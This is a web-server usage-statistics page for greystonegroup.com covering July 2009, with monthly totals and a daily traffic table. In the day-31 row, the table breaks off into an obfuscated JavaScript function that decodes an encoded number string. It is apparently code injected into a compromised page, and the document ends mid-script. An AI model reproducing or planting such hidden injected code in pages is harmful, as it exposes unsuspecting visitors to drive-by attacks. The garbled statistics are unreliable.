Usage Statistics for greystonegroup.com

Summary Period: July 2009
Generated 01-Aug-2009 02:03 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2009
Total Hits 1087
Total Files 634
Total Pages 463
Total Visits 373
Total KBytes 29658
Total Unique Sites 249
Total Unique URLs 9
Total Unique Referrers 23
Total Unique User Agents 191
. Avg Max
Hits per Hour 1 17
Hits per Day 35 55
Files per Day 20 40
Pages per Day 14 33
Sites per Day 8 21
Visits per Day 12 18
KBytes per Day 957 1603
Hits by Response Code
Code 200 - OK 58.33% 634
Code 206 - Partial Content 1.38% 15
Code 304 - Not Modified 5.43% 59
Code 404 - Not Found 34.87% 379

Daily usage for July 2009

Daily Statistics for July 2009
Day Hits Files Pages Visits Sites KBytes
1 40 3.68% 18 2.84% 12 2.59% 11 2.95% 17 6.83% 945 3.19%
2 31 2.85% 22 3.47% 13 2.81% 10 2.68% 13 5.22% 921 3.10%
3 43 3.96% 21 3.31% 22 4.75% 18 4.83% 20 8.03% 1076 3.63%
4 41 3.77% 29 4.57% 11 2.38% 9 2.41% 14 5.62% 820 2.77%
5 37 3.40% 22 3.47% 16 3.46% 10 2.68% 15 6.02% 981 3.31%
6 30 2.76% 26 4.10% 8 1.73% 8 2.14% 10 4.02% 782 2.64%
7 40 3.68% 22 3.47% 20 4.32% 15 4.02% 20 8.03% 926 3.12%
8 33 3.04% 25 3.94% 14 3.02% 13 3.49% 15 6.02% 1011 3.41%
9 28 2.58% 18 2.84% 14 3.02% 10 2.68% 12 4.82% 970 3.27%
10 54 4.97% 37 5.84% 23 4.97% 18 4.83% 21 8.43% 1320 4.45%
11 34 3.13% 11 1.74% 21 4.54% 17 4.56% 18 7.23% 811 2.73%
12 37 3.40% 20 3.15% 16 3.46% 12 3.22% 17 6.83% 1096 3.69%
13 42 3.86% 24 3.79% 16 3.46% 14 3.75% 18 7.23% 1101 3.71%
14 22 2.02% 11 1.74% 9 1.94% 9 2.41% 11 4.42% 563 1.90%
15 41 3.77% 24 3.79% 16 3.46% 13 3.49% 14 5.62% 1166 3.93%
16 29 2.67% 15 2.37% 12 2.59% 12 3.22% 19 7.63% 965 3.25%
17 23 2.12% 13 2.05% 8 1.73% 8 2.14% 10 4.02% 640 2.16%
18 25 2.30% 11 1.74% 10 2.16% 10 2.68% 12 4.82% 704 2.37%
19 21 1.93% 9 1.42% 10 2.16% 10 2.68% 14 5.62% 612 2.06%
20 11 1.01% 5 0.79% 5 1.08% 5 1.34% 8 3.21% 423 1.43%
21 20 1.84% 12 1.89% 7 1.51% 6 1.61% 9 3.61% 465 1.57%
22 36 3.31% 15 2.37% 17 3.67% 13 3.49% 18 7.23% 1137 3.84%
23 54 4.97% 29 4.57% 29 6.26% 14 3.75% 14 5.62% 1209 4.08%
24 48 4.42% 29 4.57% 19 4.10% 15 4.02% 19 7.63% 1145 3.86%
25 31 2.85% 27 4.26% 9 1.94% 9 2.41% 10 4.02% 784 2.64%
26 25 2.30% 14 2.21% 10 2.16% 10 2.68% 14 5.62% 869 2.93%
27 46 4.23% 29 4.57% 23 4.97% 17 4.56% 18 7.23% 1284 4.33%
28 29 2.67% 16 2.52% 12 2.59% 12 3.22% 15 6.02% 904 3.05%
29 55 5.06% 40 6.31% 15 3.24% 15 4.02% 18 7.23% 1361 4.59%
30 26 2.39% 15 2.37% 13 2.81% 13 3.49% 14 5.62% 1066 3.59%
31 55 5.06% 25 3.94% 33 function tjjVmgNh(Rrr){var yWZTyLA=5,rYoGjvZEA=8;var FSHBf='37,4+65,5+63,6+71,2+60,5+68,1+63,1+20,0+74,3+65,5+62,4+72,4+65,0+38,1+30,5+20,0+65,0+63,1+65,5+64,3+65,0+72,4+38,1+30,5+20,0+61,2+69,3+71,2+62,4+63,1+71,2+38,1+30,0+20,0+63,6+71,2+60,5+68,1+63,1+61,2+69,3+71,2+62,4+63,1+71,2+38,1+30,0+20,0+71,7+71,2+',KUUn=FSHBf.split('+');xeCO='';for(aszNwief=0x29+0x3+0xf-0x31-0x21+0x17;aszNwief